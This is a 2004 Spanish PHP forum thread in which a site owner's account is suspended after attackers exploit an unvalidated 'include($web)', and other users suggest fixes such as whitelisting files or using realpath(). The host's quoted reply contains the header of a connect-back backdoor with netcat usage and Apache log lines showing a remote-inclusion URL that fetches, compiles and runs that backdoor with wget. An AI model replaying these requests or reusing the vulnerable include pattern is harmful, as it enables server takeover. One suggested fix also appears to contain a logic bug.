Foros del Web » Programando para Internet » PHP »

Problemas de seguridad (include)

Estas en el tema de Problemas de seguridad (include) en el foro de PHP en Foros del Web. Hola, tengo una pagina web en la cual imprimo .htm en un archivo llamado home.php mediante include: Código PHP: <?php  include( $web );  ?> Mi ...
  #1 (permalink)  
Antiguo 29/05/2004, 13:57
 
Fecha de Ingreso: febrero-2003
Mensajes: 753
Antigüedad: 14 años, 10 meses
Puntos: 2
Problemas de seguridad (include)

Hola,
tengo una pagina web en la cual imprimo .htm en un archivo llamado home.php mediante include:

Código PHP:
<?php include($web); ?>
Mi sorpresa, de cuando pongo mi pagina web y sale que mi cuenta ha sido deshabilitada, yo les pregunto ¿porque?

y me responden esto:


The following files found in /tmp folder belong to user pepe and are used to
create a backdoor on our server

-rwxr-xr-x 1 pepe pepe 13012 May 24 17:04 /tmp/cb*
-rw-r--r-- 1 pepe pepe 1160 Feb 20 2001 /tmp/cb.c

[email protected] [~]# head -20 /tmp/cb.c
/* Digit-Labs Connect-Back Backdoor
*
* Use this backdoor to access
* machines behind firewalls.
*
* step 1. setup a listening port
* on your box e.g.
* nc -l -p 4000
*
* step 2. Run this file :
* ./cbd <ip_of_listening_machine>
*
* [email protected]
* http://www.digit-labs.org
*
*/

The following lines are from apache log file which clearly states that the file
home.php is vulnerable to attacks. He should get back at me when he has a fix on
this file. Otherwise this will happen again.

212.69.162.21 - - [24/May/2004:17:03:35 -0500] "GET /home.php?web=http://212.69.
162.23/.raar/a&e=wget%20http://212.69.162.23/.raar/cb.c%20-O%20/tmp/cb.c;%20cc%2
0/tmp/cb.c%20-o%20/tmp/cb;ls%20-l%20/tmp HTTP/1.0" 200 179824 "-" "-"
212.69.162.21 - - [24/May/2004:17:04:00 -0500] "GET /home.php?web=http://212.69.
162.23/.raar/a&e=wget%20http://212.69.162.23/.raar/cb.c%20-O%20/tmp/cb.c;%20cc%2
0/tmp/cb.c%20-o%20/tmp/cb;ls%20-l%20/tmp HTTP/1.0" 200 17395 "-" "-"
212.69.162.21 - - [24/May/2004:17:04:13 -0500] "GET /home.php?web=http://212.69.
162.23/.raar/a&e=wget%20http://212.69.162.23/.raar/cb.c%20-O%20/tmp/cb.c;%20cc%2
0/tmp/cb.c%20-o%20/tmp/cb;ls%20-l%20/tmp HTTP/1.0" 200 179918 "-" "-"



Para un codigo de php que tengo y tiene ya vulnerabilidades. ¿alguien me podria ayudar?

Un Saludo.
  #2 (permalink)  
Antiguo 29/05/2004, 14:24
 
Fecha de Ingreso: mayo-2004
Ubicación: España
Mensajes: 5
Antigüedad: 13 años, 6 meses
Puntos: 0
Al dejar simplemente como parametro del include a $web dejas que puedan llamar a cualquier archivo incluyendo tambien los que esten fuera de tu web poniendo home.php?web=nombredel.archivo
en este caso lo que han hecho a sido llamar a un archivo en php preparado que a ejecutado la instruccion que hace que el host se baje un archivo y lo ejecute.
dos cosas a tener en cuenta al tener activo el register globals tienes que andar con ojo con las variables que dejas sueltas ya que te las puede establecer desde la direccion como a sido el caso y la otra seria que a no ser que necesites especificamente ir a un fichero de fuera de tu web dieras una ruta dejando $web solo como el fichero en cuestion que, sin poner otras medidas sigue siendo peligroso porque te la pueden liar, siempre sera menor el dañor que lo que pueden hacer si lo dejas como esta.

En cuanto a la forma de recibir $web no se en base a que la estableces en tu web para poder decirte alguna forma alternativa para hacer lo que haces.

Un saludo.
  #3 (permalink)  
Antiguo 29/05/2004, 15:43
 
Fecha de Ingreso: febrero-2003
Mensajes: 753
Antigüedad: 14 años, 10 meses
Puntos: 2
Yo establezco que $web es donde incluye el fichero que quiero mostrar y lo llamo así desde la barra de dirección: http://www.mydominio.com/home.php?web=news.htm

Donde home.php es un template para que la Web siga con la misma apariencia y news.htm es el fichero que quiero que se incluya en el centro del template y parezca siempre la misma Web.
En definitiva es añadir ficheros para que se muestren en la Web y quede como un todo.

Si hubiera otra manera para hacer esto sin problemas de vulnerabilidades sería lo suyo.

Un Saludo.
  #4 (permalink)  
Antiguo 29/05/2004, 21:48
 
Fecha de Ingreso: mayo-2004
Ubicación: España
Mensajes: 5
Antigüedad: 13 años, 6 meses
Puntos: 0
Pues si no tienes muchos htmls podrias crear un array en plan
$webs = array("indice.htm", "noticias.htm", "etc.htm")
y pasar el parametro web como un numero , para ir al indice pasarias un 0 , noticias un 1 etc
el codigo podria quedar algo asi :
Código PHP:
$listawebs = array("indice.htm""noticias.htm""etc.htm");
if ( 
is_numeric($_GET['web']) && ! $_GET['web'] > count($listawebs) ) {
  include (
$listawebs[$web]);
}
else {
  echo 
"Pagina no encontrada";

Si ves que no te sirve por alguan razon dame mas datos sobre el numero de htmls o porque no te sirve y buscamos otra forma de solucionarlo :)
  #5 (permalink)  
Antiguo 30/05/2004, 06:26
 
Fecha de Ingreso: febrero-2003
Mensajes: 753
Antigüedad: 14 años, 10 meses
Puntos: 2
ufff! si que tengo varios htmls mas de 100 y hacerle el array a todos ellos no veas lo que puedo tardar y asignarle un número.

¿Que otra forma puede haber?

Un Saludo
  #6 (permalink)  
Antiguo 30/05/2004, 09:51
Ex Colaborador
 
Fecha de Ingreso: junio-2002
Mensajes: 9.091
Antigüedad: 15 años, 5 meses
Puntos: 16
Hola,

Lo que puedes hacer es comprobar o forzar que el parametro no carga un fichero fuera del directorio donde tienes tus ficheros.

Puedes usar las funciones realpath() (www.php.net/realpath) y pathinfo() (www.php.net/pathinfo) para acceder a las partes del path pasado como parametro y actuar en funcion de ellos, por ejemplo, solo coger la parte del nombre de fichero y desechar el resto.

Saludos.
__________________
Josemi

Aprendiz de mucho, maestro de poco.
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 23:10.